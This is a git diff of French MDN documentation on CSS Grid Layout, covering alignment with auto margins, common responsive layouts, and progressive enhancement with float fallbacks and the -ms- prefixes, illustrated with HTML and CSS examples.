+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_8', '500', '500')}}

+
+ +

Alignement et marges automatiques

+ +

Pour aligner les objets dans une zone, on peut également utiliser des marges automatiques. Si vous avez déjà utiliser auto pour les marges droite et gauche d'un conteneur de bloc, vous savez qu'une telle marge absorbe l'espace disponible. En utilisant auto pour les deux côtés, le bloc est contraint au milieu car les deux marges occupent le plus d'espace possible.

+ +

Dans l'exemple qui suit, pour l'objet 1, on utilise une marge à gauche avec auto. On peut alors voir le contenu poussé à droite de la zone (la marge à gauche occupant le plus d'espace possible).

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+  margin-left: auto;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+</div>
+
+ +

{{EmbedLiveSample('alignment_9', '500', '500')}}

+
+ +

On peut voir comment l'objet est aligné grâce à l'outil de mise en évidence des grilles dans Firefox.

+ +

+ +

L'alignement et les modes d'écriture

+ +

Dans tout ces exemples, nous avons travaillé en français ou en anglais, des langues qui s'écrivent de gauche à droite. Cela signifie que les lignes de début de notre grille étaient situées en haut et à gauche lorsqu'on raisonnait avec des directions physiques.

+ +

Les spécifications pour les grilles CSS et les boîtes flexibles sont conçues pour fonctionner avec les différents modes d'écriture. Cela signifie que si on travaille avec une langue qui s'écrit de droite à gauche (comme l'arabe), le début de la grille serait en haut à droite. Cela signifie également que la valeur par défaut justify-content: start placerait les pistes du côté droit de la grille. En revanche, si on utilise les marges automatiques avec margin-right ou margin-left ou si on utilise le positionnement absolu avec les valeurs top, right, bottom et left, on ne tiendra pas compte des modes d'écritures. Dans le guide suivant, nous verrons plus en détails comment les grilles et l'alignement interagissent avec les modes d'écriture. Cet aspect est fondamental si vous souhaitez développer des sites qui puissent être affichés dans plusieurs langues ou si vous souhaitez mélanger certaines langues ou modes d'écriture pour une application.

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html b/files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html deleted file mode 100644 index 44e85dda1f..0000000000 --- a/files/fr/web/css/css_grid_layout/construire_des_dispositions_courantes_avec_des_grilles_css/index.html +++ /dev/null @@ -1,560 +0,0 @@ ---- -title: Construire des dispositions courantes avec des grilles CSS -slug: >- - Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","","Web/CSS/CSS_Grid_Layout")}}

- -

Pour clôturer ces différents guides, nous allons maintenant voir différentes dispositions sur lesquelles nous appliquerons des techniques avec les grilles CSS. Nous prendrons un exemple qui utilise les zones nommées d'une grille, un système de grille flexible avec 12 colonnes et aussi une liste de produits avec un placement automatique. Comme nous le verrons, il existe plusieurs méthodes pour accéder à chaque résultat. À vous de choisir la méthode qui vous paraît la plus pertinente et utile pour les problèmes que vous avez à résoudre et les dispositions que vous devez implémenter.

- -

Une disposition adaptative avec une à trois colonnes en utilisant grid-template-areas

- -

De nombreux sites web sont construits comme une variation autour de cette disposition avec du contenu, une ou plusieurs barres latérale, un en-tête et un pied de page. Pour que le site soit responsive, on peut souhaiter avoir une seule colonne pour certaines tailles d'affichage, ajouter une barre latérale lorsqu'on a plus d'espace et enfin, avoir trois colonnes pour les écrans les plus larges.

- -

Image of the three different layouts created by redefining our grid at two breakpoints.

- -

Ici, on crée une disposition avec des zones nommées comme on a pu le voir dans l'article correspondant.

- -

Dans le document on a un conteneur qui contient un en-tête, un pied de page, du contenu principal, une barre de navigation, une barre latérale et un bloc dans lequel on souhaite placer de la publicité.

- -
- - -
<div class="wrapper">
-  <header class="main-head">L'en-tête</header>
-  <nav class="main-nav">
-    <ul>
-      <li><a href="">Nav 1</a></li>
-      <li><a href="">Nav 2</a></li>
-      <li><a href="">Nav 3</a></li>
-    </ul>
-  </nav>
-  <article class="content">
-    <h1>L'article principal</h1>
-    <p>
-       Dans cette disposition, on affiche les zones dans le même
-       ordre que dans le document pour les écrans dont la largeur
-       est inférieure à 500 pixels. On passe à une disposition sur
-       deux colonnes ou trois colonnes en redéfinissant la grille
-       et le placement des objets sur la grille.
-    </p>
-  </article>
-  <aside class="side">Barre latérale</aside>
-  <div class="ad">Publicité</div>
-  <footer class="main-footer">Le pied de page</footer>
-</div>
-
- -

On utilise {{cssxref("grid-template-areas")}} afin de créer la disposition. On nomme les zones en dehors des différentes media queries. Les propriétés sont nommées grâce à la propriété {{cssxref("grid-area")}}.

- -
.main-head {
-  grid-area: header;
-}
-.content {
-  grid-area: content;
-}
-.main-nav {
-  grid-area: nav;
-}
-.side {
-  grid-area: sidebar;
-}
-.ad {
-  grid-area: ad;
-}
-.main-footer {
-  grid-area: footer;
-}
-
- -

Avec ces différentes règles, on n'a pas encore de disposition, uniquement des noms qu'on pourra utiliser. Ensuite, on définit la disposition qu'on aura par défaut et qui sera utilisée pour les mobiles. Dans cette règle, on garde le même ordre que celui utilisé dans le document (cf. le guide sur les grilles CSS et l'accessibilité). On ne définit aucune piste (colonne ou ligne) mais cela suffit pour décrire une disposition sur une seule colonne, les lignes seront créées implicitement lorsqu'elles seront nécessaires.

- -
.wrapper {
-  display: grid;
-  grid-gap: 20px;
-  grid-template-areas:
-    "header"
-    "nav"
-    "content"
-    "sidebar"
-    "ad"
-    "footer";
-}
-
- -

Après cette disposition par défaut pour les appareils mobiles, on peut ajouter une requête média (media query) et redéfinir la disposition lorsqu'on a plus d'espace et qu'on peut afficher deux colonnes :

- -
@media (min-width: 500px) {
-  .wrapper {
-    grid-template-columns: 1fr 3fr;
-    grid-template-areas:
-      "header  header"
-      "nav     nav"
-      "sidebar content"
-      "ad      footer";
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

On peut voir la disposition organisée dans la valeur pour la propriété {{cssxref("grid-template-areas")}}. L'en-tête header s'étale sur deux colonnes et le bloc nav également. Sur la troisième ligne, on a la barre latérale (sidebar) à côté du contenu (content). Sur la quatrième ligne, on a le bloc pour la publicité (ad) qui apparaît sous la barre latérale et enfin le pied de page qui apparaît sous le contenu. On utilise une boîte flexible pour la barre de navigation afin de l'étaler sur une ligne homogène.

- -

Enfin, on ajoute une autre requête de média pour la disposition avec trois colonnes :

- -
@media (min-width: 700px) {
-  .wrapper {
-    grid-template-columns: 1fr 4fr 1fr;
-    grid-template-areas:
-      "header header  header"
-      "nav    content sidebar"
-      "nav    content ad"
-      "footer footer  footer"
-   }
-   nav ul {
-     flex-direction: column;
-   }
-}
-
- -

Cette disposition en trois colonnes possède une première colonne qui s'étend sur 1fr, une colonne centrale qui s'étend sur 4fr et une dernière colonne qui mesure également 1fr. Cela signifie que l'espace disponible dans le conteneur est découpé en 6 et que chacun de ces morceaux est affecté à une de ces pistes.

- -

Dans cette disposition, la barre de navigation est affichée dans la colonne à gauche, à côté du contenu. Sur la colonne à droite, on a la barre latérale au-dessus de la publicité. Le pied de page, quant à lui, s'étale sur tout le bas du conteneur. Ici aussi, on utilise une boîte flexible en colonne pour la barre de navigation.

- -

{{EmbedLiveSample('layout_1', '800', '430')}}

-
- -

Cet exemple est assez simple mais permet d'illustrer comme utiliser une grille afin de réorganiser le contenu pour différentes tailles d'écran. On voit par exemple comment on déplace le bloc ad dans les différentes organisations. L'utilisation des noms pour les zones permet de prototyper rapidement de nouvelles dispositions. Vous pouvez toujours utiliser la grille pour agencer votre prototype même si ce n'est pas la technologie que vous utiliserez pour votre site ou votre application en production.

- -

Une disposition flexible avec 12 colonnes

- -

Si vous travaillez avec un framework ou avec un système de grille, vous êtes peut-être habitué-e à travailler sur une grille avec 12 ou 16 colonnes. On peut recréer ce genre de système avec une grille CSS. Pour commencer, on crée une grille avec 12 colonnes dont chaque piste mesure 1fr-unit et commence par une ligne intitulée col-start. Autrement dit, on aura 12 colonnes intitulées col-start.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

Pour voir comment ce système fonctionne, on place quatre éléments dans le conteneur :

- -
<div class="wrapper">
-  <div class="item1">Début à la première colonne, s'étend sur 3 colonnes.</div>
-  <div class="item2">Début à la colonne 6, s'étend sur 4 colonnes et deux lignes.</div>
-  <div class="item3">Début à la colonne 2 de la ligne 2, s'étend sur 2 colonnes.</div>
-  <div class="item4">Début à la colonne 3, s'étend jusqu'à la fin de la grille.</div>
-</div>
-
- -

Et on place ces éléments sur la grille en utilisant les noms utilisés précédemment, avec le mot-clé span :

- -
.item1 {
-  grid-column: col-start / span 3;
-}
-.item2 {
-  grid-column: col-start 6 / span 4 ;
-  grid-row: 1 / 3;
-}
-.item3 {
-  grid-column: col-start 2 / span 2;
-  grid-row: 2;
-}
-.item4 {
-  grid-column: col-start 3 / -1;
-  grid-row: 3;
-}
-
- -

{{EmbedLiveSample('layout_2', '800', '330')}}

-
- -

Comme nous l'avons vu dans le guide sur le nommage des lignes, on utilise les noms des colonnes pour placer nos éléments. On a ici 12 colonnes avec le même nom, on utilise donc ce nom et l'indice qui indique le numéro. On pourrait tout aussi bien utiliser seulement le numéro si on voulait se passer des noms pour les lignes.

- -

Plutôt que d'indiquer le numéro de la dernière colonne pour chaque élément, on a ici utilisé le mot-clé span pour indiquer la taille de chaque élément. Cette approche permet de revoir plus clairement la taille de chaque élément lorsqu'on ajoute une nouvelle disposition pour une nouvelle taille d'écran. Dans la capture qui suit, on peut voir comment les blocs sont positionnés sur la grilles. Pour cela, on a utilisé l'inspecteur de grille de Firefox qui indique de façon claire comment les objets sont placés.

- -

Showing the items placed on the grid with grid tracks highlighted.

- -

Il y a certainement certaines différences fondamentales avec les systèmes que vous auriez pu utiliser précédemment. On voit par exemple qu'il n'est pas nécessaire d'ajouter de règles supplémentaires pour créer une ligne. Généralement, il faut ajouter des contrôles pour éviter que les éléments remontent sur les lignes au-dessus. Avec une grille CSS, ce n'est pas un problème, les lignes supérieures sont laissées vides. La disposition étant stricte, on peut très bien laisser des espaces dans notre plan. Il n'est pas non plus nécessaire de définir des classes spécifiques afin d'indenter les différents objets, il suffit ici d'indiquer la colonne de début et la colonne de fin.

- -

Construire une disposition avec ce système à 12 colonnes

- -

Pour voir comment cette méthode fonctionne en pratique, nous allons créé le même plan que celui que nous avons vu avec les zones nommées et {{cssxref("grid-template-areas")}} mais en utilisant désormais ce système à 12 colonnes. Commençons avec la même structure que celle utilisée plus haut avec les zones nommées :

- -
- - -
<div class="wrapper">
-  <header class="main-head">L'en-tête</header>
-  <nav class="main-nav">
-    <ul>
-      <li><a href="">Nav 1</a></li>
-      <li><a href="">Nav 2</a></li>
-      <li><a href="">Nav 3</a></li>
-    </ul>
-  </nav>
-  <article class="content">
-    <h1>L'article principal</h1>
-    <p>
-       Dans cette disposition, on affiche les zones dans le même
-       ordre que dans le document pour les écrans dont la largeur
-       est inférieure à 500 pixels. On passe à une disposition sur
-       deux colonnes ou trois colonnes en redéfinissant la grille
-       et le placement des objets sur la grille.
-    </p>
-  </article>
-  <aside class="side">Barre latérale</aside>
-  <div class="ad">Publicité</div>
-  <footer class="main-footer">Le pied de page</footer>
-</div>
-
- -

On initialise la grille avec nos 12 colonnes :

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

Là encore, nous allons adapter la disposition en fonction de la taille de la zone d'affichage mais ici, nous utiliserons les colonnes nommées. Pour chaque type d'affichage, nous allons utiliser 12 colonnes et faire varier le nombre de pistes sur lequel s'étalent les objets à afficher.

- -

Commençons par le mobile : on souhaite gérer les écrans les plus étroits par défaut. Ici aussi, on respecte l'ordre des éléments indiqués par le code source du document et tous les objets s'étalent tout au long de la grille.

- -
.wrapper > * {
-  grid-column: col-start / span 12;
-}
-
- -

Pour la prochaine taille, on veut obtenir une disposition sur deux colonnes. Ici, l'en-tête et la barre de navigation occuperont toute une ligne horizontale, il n'est donc pas nécessaire d'indiquer de positionnement pour eux. La barre latérale commence sur la première colonne intitulée col-start et s'étend sur 3 colonnes et commence à partir de la troisième ligne (les deux premières étant occupées par l'en-tête et la barre de navigation).

- -

Le panneau dédié à la publicité est affiché sous la barre latérale et commence à partir de la quatrième ligne. On a ensuite le contenu et le pied de page qui commencent à partir de la quatrième colonne et s'étendent sur 9 pistes pour occuper le reste de la grille.

- -
@media (min-width: 500px) {
-  .side {
-    grid-column: col-start / span 3;
-    grid-row: 3;
-  }
-  .ad {
-    grid-column: col-start / span 3;
-    grid-row: 4;
-  }
-  .content, .main-footer {
-    grid-column: col-start 4 / span 9;
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

Voyons alors la disposition sur trois colonnes. Pour ce plan, l'en-tête s'étale aussi sur toute la largeur de la grille, la barre de navigation devient verticale, à côté on a le contenu puis la barre latérale. Le pied de page s'étale, lui aussi, sur toute la largeur du conteneur.

- -
@media (min-width: 700px) {
-  .main-nav {
-    grid-column: col-start / span 2;
-    grid-row: 2 / 4;
-  }
-  .content {
-    grid-column: col-start 3 / span 8;
-    grid-row: 2 / 4;
-  }
-  .side {
-    grid-column: col-start 11 / span 2;
-    grid-row: 2;
-  }
-  .ad {
-    grid-column: col-start 11 / span 2;
-    grid-row: 3;
-  }
-  .main-footer {
-    grid-column: col-start / span 12;
-  }
-  nav ul {
-    flex-direction: column;
-  }
-}
-
- -

{{EmbedLiveSample('layout_3', '800', '430')}}

-
- -

On peut à nouveau profiter de l'inspecteur de grille pour voir comment se compose effectivement notre disposition :

- -

Showing the layout with grid tracks highlighted by the grid inspector.

- -

On notera qu'il n'a pas été nécessaire de redéfinir explicitement la position de chaque élément pour chaque résolution. On a pu hériter des emplacements des résolutions précédentes. On gagne donc à travailler en considérant les résolutions mobiles en premier lieu. On tire également parti du placement automatique géré par la grille avec l'ordre, logique, des éléments du documents. Dans le dernier exemple, nous allons voir comment le placement automatique sur la grille peut aider à positionner des objets..

- -

Une liste produit utilisant le placement automatique

- -

De nombreuses dispositions sont essentiellement composée de cartes ou tuiles : des listes produit, des galeries d'image, etc. Avec une grille, on peut facilement créer ce genre de liste de façon adaptative, sans avoir à ajouter de requêtes de média. Dans l'exemple qui suit, nous allons combiner les grilles CSS et les boîtes flexibles afin d'obtenir une liste de produits.

- -

Le document utilisé contient une liste d'objets non ordonnée. Pour chaque produit, on a un titre, un texte dont la taille n'est pas fixe et un lien pour effectuer une action.

- -
-
<ul class="listing">
-  <li>
-    <h2>Produit n°1</h2>
-    <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
-    <div class="cta"><a href="">Faire quelque chose !</a></div>
-  </li>
-   <li>
-     <h2>Produit n°2</h2>
-     <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
-     <div class="cta"><a href="">Faire quelque chose !</a></div>
-   </li>
-   <li class="wide">
-     <h2>Produit n°3</h2>
-     <div class="body"><p>Le descriptif du produit sera écrit ici.</p>
-     <p>Ce produit possède un descriptif beaucoup plus long.</p>
-     <p>Vraiment plus long</p>
-     <p>Peut-être faudrait-il le gérer différemment ?</p></div>
-     <div class="cta"><a href="">Faire quelque chose !</a></div>
-    </li>
-    <li>
-     <h2>Produit n°4</h2>
-     <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
-     <div class="cta"><a href="">Faire quelque chose !</a></div>
-    </li>
-     <li>
-     <h2>Produit n°5</h2>
-     <div class="body"><p>Le descriptif du produit sera écrit ici.</p></div>
-      <div class="cta"><a href="">Faire quelque chose !</a></div>
-    </li>
-</ul>
-
- - - -

Nous allons créer une grille avec un nombre de colonnes adaptable et chacune des colonnes sera flexible. On indique qu'une colonne doit avoir une largeur minimale de 200 pixels et que l'espace restant doit être réparti équitablement (toutes les colonnes auront donc la même largeur). Pour obtenir ce résultat, on utilise la fonction minmax() avec la notation repeat pour la propriété grid-template-columns qui permet de dimensionner les pistes.

- -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-
- -

Dès qu'on ajoute cette règle, les objets s'organisent sur la grille. Si on chance la taille de la fenêtre, le nombre de colonne s'adaptera, sans qu'il soit nécessaire d'ajouter des requêtes de média ou de définir la grille.

- -

On peut ensuite améliorer chacune des boîtes en utilisant les boîtes flexibles. Pour les éléments de la liste ({{HTMLElement("li")}}), on utilise display: flex et flex-direction avec la valeur column. On ajoute une marge automatique pour la classe .cta afin que cette barre soit placée en bas de la boîte.

- -
.listing li {
-  border: 1px solid #ffe066;
-  border-radius: 5px;
-  display: flex;
-  flex-direction: column;
-}
-.listing .cta {
-  margin-top: auto;
-  border-top: 1px solid #ffe066;
-  padding: 10px;
-  text-align: center;
-}
-.listing .body {
-  padding: 10px;
-}
-
- -

Voici un exemple où, d'après moi, l'utilisation des boîtes flexibles est pertinente par rapport à une autre grille : on ne fait qu'aligner ou organiser des objets sur un seul axe, ce qui est très bien géré avec une boîte flexible.

- -

{{EmbedLiveSample('layout_4', '800', '900')}}

-
- -

Le résultat est plutôt abouti mais on a parfois des cartes qui ont beaucoup plus de contenu. Si on veut que celles-ci soient plus large (pour éviter qu'elles soient trop hautes), on peut les étaler sur deux pistes. Pour cela, on a utilisé la classe wide sur l'objet avec plus de contenu et on ajoute une règle {{cssxref("grid-column-end")}} avec la valeur span 2. Désormais, lorsque la grille devra placer un élément de ce type, elle lui affectera deux colonnes. Cela signifie aussi que pour certaines tailles d'affichage, on aura un espace dans la grille lorsqu'il n'y aura pas suffisamment d'espace pour placer un objet sur deux colonnes :

- -

The layout has gaps as there is not space to layout a two track item.

- -

Si on veut éviter ces trous, on peut utiliser la règle {{cssxref("grid-auto-flow")}}: dense sur le conteneur de la grille. Attention à utiliser cette valeur car l'ordre logique n'est plus respecté. Aussi, il ne faut utiliser cette valeur uniquement lorsqu'il n'y a pas d'ordre pour les objets. Avec cette valeur, la navigation au clavier (tab order) continue de suivre l'ordre des éléments du document et pas l'ordre d'affichage des objets sur la grille.

- -
- - -
.listing {
-  list-style: none;
-  margin: 2em;
-  display: grid;
-  grid-gap: 20px;
-  grid-auto-flow: dense;
-  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
-}
-.listing .wide {
-  grid-column-end: span 2;
-}
-
- -

{{EmbedLiveSample('layout_5', '800', '900')}}

- -

Cette technique de placement automatiquement peut s'avérer extrêmement utile si vous devez gérer du contenu produit par un CMS pour un ensemble d'objets qui se ressemblent et auxquels vous ajoutez une classe lors de la génération en HTML.

-
- -

Aller plus loin

- -

La meilleure façon d'apprendre à utiliser les grilles CSS est de continuer à construire des exemples comme ceux que nous avons vus ici. Prenez un cas d'utilisation que vous auriez construit avec un framework ou avec un autre mode de disposition et voyez si vous pouvez le construire à l'aide d'une grille. N'oubliez pas de trouver des exemples de disposition encore impossibles à construire avec les méthodes actuelles : prenez différentes sources d'inspiration comme les magazines et affiches. Le modèle de grille offre un nouvel éventail de possibilités et il serait dommage de rester sur nos acquis.

- -
    -
  • Vous pouvez consulter le Layout Labs de Jen Simmons (en anglais), elle a créé différentes disposition en se basant sur une variété d'exemples.
    • -
  • Pour d'autres exemples, vous pouvez vous référer à Grid by Example qui contient des exemples pour des grilles plus petites, des fragments d'interface utilisateur ou des dispositions pour des pages entières.
    • -
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.html b/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.html new file mode 100644 index 0000000000..8a5122de2f --- /dev/null +++ b/files/fr/web/css/css_grid_layout/css_grid_and_progressive_enhancement/index.html @@ -0,0 +1,420 @@ +--- +title: Les grilles CSS et l'amélioration progressive +slug: Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité", "Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","Web/CSS/CSS_Grid_Layout")}}

+ +

Au printemps 2017, on voit pour la première fois une spécification majeure être disponible presque simultanément dans différents navigateurs : les grilles CSS (CSS Grid). Les grilles CSS sont disponibles dans les versions récentes de Firefox, Chrome, Opera, Safari et Edge. Malgré cela, si ces navigateurs récents permettront à la plupart d'entre nous de profiter de ces nouvelles fonctionnalités, il existe d'anciens navigateurs ou d'autres navigateurs qui ne prennent pas en charge ces fonctionnalité. Dans ce guide, nous allons parcourir différentes stratégies pour gérer cette prise en charge.

+ +

Les navigateurs qui prennent en charge les grilles CSS

+ +

En dehors d'Internet Explorer, les propriétés et valeurs relatives aux grilles CSS ne sont pas préfixées dans Safari, Chrome, Opera, Edge et dans Firefox. Toutes les propriétés et valeurs que nous avons vues dans ce guide fonctionnent de façon interopérable entre ces navigateurs. Cela signifie que si vous écrivez des règles CSS pour paramétrer une grille, le document doit avoir le même rendu dans Firefox, Opera et dans Chrome. Les grilles CSS ne sont plus une spécification expérimentale, elles peuvent donc être utilisées en production.

+ +

La situation pour Internet Explorer et Edge

+ +

La première implémentation des grilles CSS a eu lieu avec Internet Explorer 10. La première version de la spécification ne contenait alors pas toutes les propriétés et valeurs décrites dans la spécification actuelle. Il existe également des différences importantes entre ce qui est disponible dans IE10 et la spécification actuelle, même si les propriétés et les valeurs se ressemblent à première vue. Cette implémentation initiale est également celle qui est en place dans Edge jusqu'à la version 15.

+ +

La version implémentée pour IE/Edge (≤15) est préfixée avec -ms et les propriétés ont les noms suivants :

+ +
    +
  • {{cssxref("grid-template-columns")}} est appelée -ms-grid-columns
    • +
  • {{cssxref("grid-template-rows")}} est appelée -ms-grid-rows
    • +
  • {{cssxref("grid-row-start")}} est appelée -ms-grid-row
    • +
  • {{cssxref("grid-column-start")}} est appelée -ms-grid-column
    • +
  • {{cssxref("align-self")}} est appelée -ms-grid-row-align
    • +
  • {{cssxref("justify-self")}} est appelée -ms-grid-column-align
    • +
+ +

La version implémentée dans Internet Explorer dispose de propriétés supplémentaires qui ne font pas partie de la nouvelle spécification : -ms-grid-column-span et -ms-grid-row-span. La version implémentée dans IE ne profite pas du placement automatique ou des zones nommées. On peut implémenter certaines grilles simples pour IE10 et jusqu'à Edge 15, grâce à ces propriétés préfixées par -ms. Ces propriétés étant préfixées, elles ne seront pas reconnues (et n'auront aucun effet) pour les navigateurs qui implémentent la spécification actuelle.

+ +

L'utilisation d'autoprefixer pour la prise en charge de la grille

+ +

L'outil autoprefixer a été mis à jour afin de prendre en charge les versions préfixées par -ms- lorsqu'on utilise les nouvelles propriétés. Par défaut, les préfixes liés à la grille sont désactivés mais vous pouvez les activer avec l'option grid: autoplace.

+ +
autoprefixer({ grid: 'autoplace' })
+ +

Les préfixes relatifs aux grilles sont désactivés par défaut car certaines propriétés ne peuvent pas être préfixées

+ +

Puis-je utiliser les grilles CSS sans danger ?

+ +

Comme pour les autres technologies front-end, la décision d'utiliser les grilles CSS se résume souvent au parc de navigateurs utilisés par le public de votre site ou votre application. S'ils ont tendance à utiliser des version à jour de Firefox, Chrome, Opera et Safari, il serait logique de commencer à utiliser les grilles CSS dès que la nouvelle version des navigateurs sera disponible. En revanche, si le marché visé repose sur d'anciens navigateurs, ce n'est peut-être pas le bon choix. Toutefois, je suggèrerai de ne pas prendre les mêmes hypothèses que pour la diffusion des autres spécifications par le passé : le travail d'implémentation et d'homogénéisation réalisés par les différents distributeurs de navigateur pour les fonctionnalités des grilles CSS est sans précédent.

+ +

Commencer à utiliser les grilles CSS en production

+ +

On notera qu'il n'est pas nécessaire d'avoir une rupture brutale pour utiliser les grilles CSS. On peut commencer par améliorer quelques éléments avec une grille et conserver l'ancienne méthode d'affichage pour les navigateurs historiques. Surcharger ces méthodes historiques avec les grilles fonctionne très bien étant donné la façon dont les grilles interagissent avec ces autres méthodes.

+ +

Effectuer la transition depuis une disposition flottante

+ +

Jusqu'à présent, pour créer une disposition sur plusieurs colonnes, on a utilisé des dispositions flottantes. Si vous avez un objet qui flotte et que celui-ci est également un objet d'une grille CSS : dans un navigateur qui prend en charge les grilles CSS, le flottement ne sera plus appliqué sur l'objet. En fait, la grille prend le pas sur le flottement. Dans l'exemple qui suit, on a simplement un objet média. Pour un navigateur historique, on utilise {{cssxref("float")}}, cependant, on a également défini un conteneur de grille dans lequel on pourra utiliser les propriétés d'alignement disponibles pour les navigateurs qui implémentent les grilles CSS.

+ +

Le mode {{cssxref("float")}} ne s'applique plus sur l'objet et on peut utiliser la propriété {{cssxref("align-self")}} afin d'aligner le contenu vers la fin du conteneur.

+ +
+
* {box-sizing: border-box;}
+img {
+  max-width: 100%;
+  display: block;
+}
+.media {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 2fr;
+  grid-template-areas: "img content";
+  margin-bottom: 1em;
+}
+.media::after {
+  content: "";
+  display: block;
+  clear: both;
+}
+.media .image {
+  float: left;
+  width: 150px;
+  margin-right: 20px;
+}
+.media .text {
+  padding: 10px;
+  align-self: end;
+}
+
+ +
<div class="media">
+  <div class="image">
+    <img src="http://placehold.it/150x150" alt="placeholder">
+  </div>
+  <div class="text">
+    Voici un exemple avec un média. On utilise le flottement
+    pour les anciens navigateurs et une grille pour les
+    nouveaux.
+  </div>
+</div>
+
+ +

{{EmbedLiveSample('enhancement_1', '500', '180')}}

+
+ +

Dans l'image qui suit, on voit à gauche ce qu'on obtient dans un navigateur qui ne prend pas en charge les grilles CSS et à droite le résultat obtenu pour un navigateur qui permet de les utiliser.

+ +

A simple example of overriding a floated layout using grid.

+ +

Utiliser les requêtes de fonctionnalité (feature queries)

+ +

L'exemple que nous venons de voir est très simple et on peut résoudre le problème sans avoir à écrire de code qui gênerait les navigateurs historiques, le code historique ne pose pas non plus de problème pour les navigateurs qui prennent en charge les grilles CSS. Dans la réalité, on fait parfois face à des cas plus complexes.

+ +

Dans le prochain exemple, nous aurons un ensemble de cartes disposées avec du flottement. On a défini une largeur ({{cssxref("width")}}) sur ces cartes afin de pouvoir appliquer le flottement {{cssxref("float")}}. Pour créer des espaces entre les cartes, on utilise une marge ({{cssxref("margin")}}) sur les objets puis une marge négative sur le conteneur.

+ +
+ + +
.wrapper ul {
+  overflow: hidden;
+  margin: 0 -10px;
+  padding: 0;
+  list-style: none;
+}
+.wrapper li {
+  float: left;
+  width: calc(33.333333% - 20px);
+  margin: 0 10px 20px 10px;
+}
+
+ +
<div class="wrapper">
+  <ul>
+    <li class="card">
+      <h2>Un</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Deux</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Trois</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+       <h2>Quatre</h2>
+       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+       <h2>Cinq</h2>
+       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Six</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+  </ul>
+</div>
+
+ +

{{EmbedLiveSample('enhancement_2', '550', '400')}}

+
+ +

Dans la capture qui suit, on voit un problème classique qui est causé par les dispositions flottantes : si on ajoute du contenu à l'une des cartes, la disposition est chamboulée.

+ +

A floated cards layout demonstrating the problem caused by uneven content height.

+ +

Pour gérer les anciens navigateurs dans une certaine mesure, on peut indiquer une hauteur minimale pour les boîtes avec {{cssxref("min-height")}} et espérer que les éditeurs n'ajouteront pas trop de contenu dans chaque boîte…

+ +

Voyons comment améliorer cette disposition avec une grille : on transforme l'élément {{HTMLElement("ul")}} en un conteneur de grille avec trois pistes en colonne. Malheureusement, la largeur qu'on avait affectée aux éléments de la liste s'applique toujours et désormais, chaque élément de la liste occupe uniquement un tiers de la piste correspondante.

+ +

After applying grid to our container, the width of the items is now incorrect as they display at one third of the item width.

+ +

